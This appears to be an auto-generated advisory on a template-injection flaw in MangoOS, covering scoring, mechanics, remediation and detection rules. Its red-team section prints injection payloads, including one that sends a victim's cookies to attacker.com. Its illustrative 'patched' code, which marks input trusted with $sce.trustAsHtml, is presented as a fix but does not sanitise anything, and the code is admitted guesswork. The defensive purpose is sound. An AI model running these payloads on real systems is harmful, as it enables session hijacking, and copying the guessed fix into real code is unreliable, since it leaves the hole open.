CVE-2024-37846

Executive Summary

CVE-2024-37846 is a Client-Side Template Injection (CSTI) vulnerability discovered in MangoOS versions prior to 5.2.0. The flaw resides in the Platform Management Edit page, allowing an authenticated attacker with administrative privileges to inject malicious template expressions. These expressions are executed client-side in the browser of any user viewing the affected page, leading to Cross-Site Scripting (XSS) and potential data exfiltration, session hijacking, or defacement. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with a low attack complexity but requiring high privileges and user interaction. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has released a fix in version 5.2.0.

Supply Chain & Package Security

MangoOS is a proprietary operating system and management platform. This vulnerability does not directly affect open-source package ecosystems (NPM, PyPI, Go, Ruby). However, organizations using MangoOS should verify the integrity of their installation and ensure no unauthorized modifications have been made to the platform’s web interface files.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An attacker must have administrative access to the MangoOS platform.
• User Interaction (UI): Required – The victim must visit the crafted Platform Management Edit page.
• Scope (S): Changed – The injected template can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. The requirement for high privileges reduces the likelihood of widespread exploitation, but the potential for XSS and data theft in a management interface makes it a significant risk for internal networks.

Deep Dive & Mechanics

The vulnerability is a Client-Side Template Injection (CSTI) occurring in the Platform Management Edit page of MangoOS. CSTI arises when user-supplied input is embedded into a client-side template (e.g., AngularJS, Vue.js, or Handlebars) without proper sanitization. In this case, the edit page likely uses a JavaScript-based templating engine to render dynamic content. An attacker with admin privileges can inject template expressions (e.g., {{constructor.constructor('alert(1)')()}} in AngularJS) into fields such as platform name, description, or configuration parameters.

When an administrator or other user views the edited page, the template engine evaluates the injected expression, executing arbitrary JavaScript in the context of the victim’s browser. This can lead to:

• Session Hijacking: Stealing session cookies.
• Data Exfiltration: Accessing sensitive data displayed on the page.
• Defacement: Modifying the visual appearance of the management interface.
• Phishing: Injecting fake login forms.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a variant of Cross-Site Scripting (XSS) via template injection.

Vulnerable vs. Patched Code

Vulnerable Code (MangoOS < 5.2.0): The vulnerable code likely uses a client-side template engine that evaluates expressions without escaping user input. For example, in an AngularJS-based application:

// Vulnerable: Directly interpolating user input into template
$scope.platformName = userInput; // userInput is attacker-controlled

In the HTML template:

<div ng-bind-html="platformName"></div>

This allows injection of AngularJS expressions like {{constructor.constructor('alert(1)')()}}.

Patched Code (MangoOS 5.2.0): The fix involves sanitizing user input before rendering it in the template. This can be achieved by:

• Using AngularJS’s $sce (Strict Contextual Escaping) to trust only safe HTML.
• Escaping template delimiters (e.g., replacing {{ and }} with HTML entities).
• Switching to a safer rendering method like ng-bind instead of ng-bind-html.

Example of patched code:

// Patched: Sanitize input using $sce
$scope.platformName = $sce.trustAsHtml(sanitize(userInput));

Where sanitize() strips or escapes template expressions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to MangoOS (< 5.2.0).
• A victim user who will view the Platform Management Edit page.

Exploitation Steps:

1. Log in to MangoOS as an administrator.
2. Navigate to the Platform Management Edit page.
3. In a field (e.g., platform name), inject a CSTI payload. For AngularJS-based systems, use:

   {{constructor.constructor('alert(document.cookie)')()}}
   

   For Vue.js, a payload might be:

   {{_self.constructor.constructor('alert(document.cookie)')()}}
   

4. Save the changes.
5. When another administrator views the edited page, the payload executes, displaying the victim’s cookies in an alert box.

Advanced Payload (Data Exfiltration):

{{constructor.constructor('fetch("https://attacker.com/steal?cookie="+document.cookie)')()}}

Lab Setup:

• Install MangoOS version 5.1.9 (or any < 5.2.0) in a virtual machine.
• Use a browser with developer tools to inspect the page and identify the templating engine.
• Test payloads in a controlled environment.

Blue Team

Detection Steps:

1. Monitor for unusual template expressions in HTTP requests to the Platform Management Edit page (e.g., {{, }}, constructor).
2. Review server logs for POST requests containing suspicious patterns.
3. Use web application firewalls (WAF) to block requests with template injection patterns.
4. Conduct regular security scans for CSTI/XSS vulnerabilities.

Hunting Queries:

• Search for {{ or }} in database fields related to platform configuration.
• Look for JavaScript errors in browser console logs that may indicate template evaluation failures.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing {{ or }} in POST parameters to /platform/edit or similar endpoints.
  • Outbound connections to unknown domains from the MangoOS web interface (data exfiltration).
• File IOCs:
  • Modified configuration files in /var/www/mangoos/ containing template expressions.
• Behavioral IOCs:
  • Unexpected JavaScript alerts or pop-ups in the management interface.
  • Unauthorized changes to platform settings.

Detection Engineering

YARA Rule

rule CVE_2024_37846_CSTI_MangoOS {
    meta:
        description = "Detects CSTI payloads in MangoOS Platform Management Edit page"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-37846"
    strings:
        $csti1 = "{{constructor" ascii wide nocase
        $csti2 = "{{_self" ascii wide nocase
        $csti3 = "{{this" ascii wide nocase
        $csti4 = "{{$parent" ascii wide nocase
        $csti5 = "constructor.constructor" ascii wide nocase
    condition:
        any of ($csti*)
}

Sigma Rule

title: CVE-2024-37846 - MangoOS CSTI Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSTI payloads in HTTP requests to MangoOS Platform Management Edit page
author: Valters IT
date: 2025-04-10
tags:
    - cve.2024.37846
    - attack.t1190
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/platform/edit'
        cs-request-body|contains:
            - '{{constructor'
            - '{{_self'
            - '{{this'
            - '{{$parent'
    condition: selection
falsepositives:
    - Legitimate use of template syntax in non-malicious contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-37846 - MangoOS CSTI Payload Detected";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/platform/edit"; http_uri;
    content:"{{"; http_client_body;
    pcre:"/\{\{(constructor|_self|this|\$parent)/Pi";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2024-37846;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MangoOS to version 5.2.0 or later, which contains the fix for this vulnerability.
2. If upgrading is not immediately possible, restrict access to the Platform Management Edit page to only trusted administrators.
3. Implement a Web Application Firewall (WAF) rule to block requests containing {{ or }} in POST parameters.

Long-Term Measures:

• Conduct a security audit of all client-side templates in the MangoOS web interface.
• Enforce input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update MangoOS and monitor vendor advisories.

Workaround:

• Disable the Platform Management Edit page temporarily by modifying the web server configuration to return a 403 Forbidden for /platform/edit.

Report generated by Valters IT DevSecOps & CTI Framework